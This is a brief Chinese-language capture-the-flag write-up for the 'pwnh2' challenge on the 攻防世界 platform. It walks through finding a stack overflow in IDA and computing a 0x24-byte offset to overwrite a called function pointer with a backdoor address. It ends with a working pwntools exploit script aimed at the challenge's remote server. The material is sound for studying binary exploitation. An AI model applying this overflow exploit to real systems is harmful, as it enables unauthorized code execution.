0%

攻防世界-pwnh2

首先用IDA分析,可以看出这里有一个栈溢出漏洞

结尾处有一个函数调用,于是我们在这里断点

然后我们随便输入测试内容

发现计算后,会把0Xffffd674里的内容赋值给eax,然后call eax,那么我们可以用栈溢出来修改0Xffffd674里的内容为后门函数的地址
通过IDA,我们知道v2的地址为0xFFFFD650,那么0Xffffd674-0xFFFFD650=0x24,后门函数地址为0x80486CC,于是payload为
payload = ‘a’*0x24 + p32(0x80486CC)

综上,我们的脚本为

1
2
3
4
5
6
7
8
9
from pwn import *  
#sh = process('./pwnh2')
sh = remote('111.198.29.45',47364)
sh.recvuntil('>')
sh.sendline('test')
sh.recvuntil('>')
payload = 'a'*0x24 + p32(0x80486CC)
sh.sendline(payload)
sh.interactive()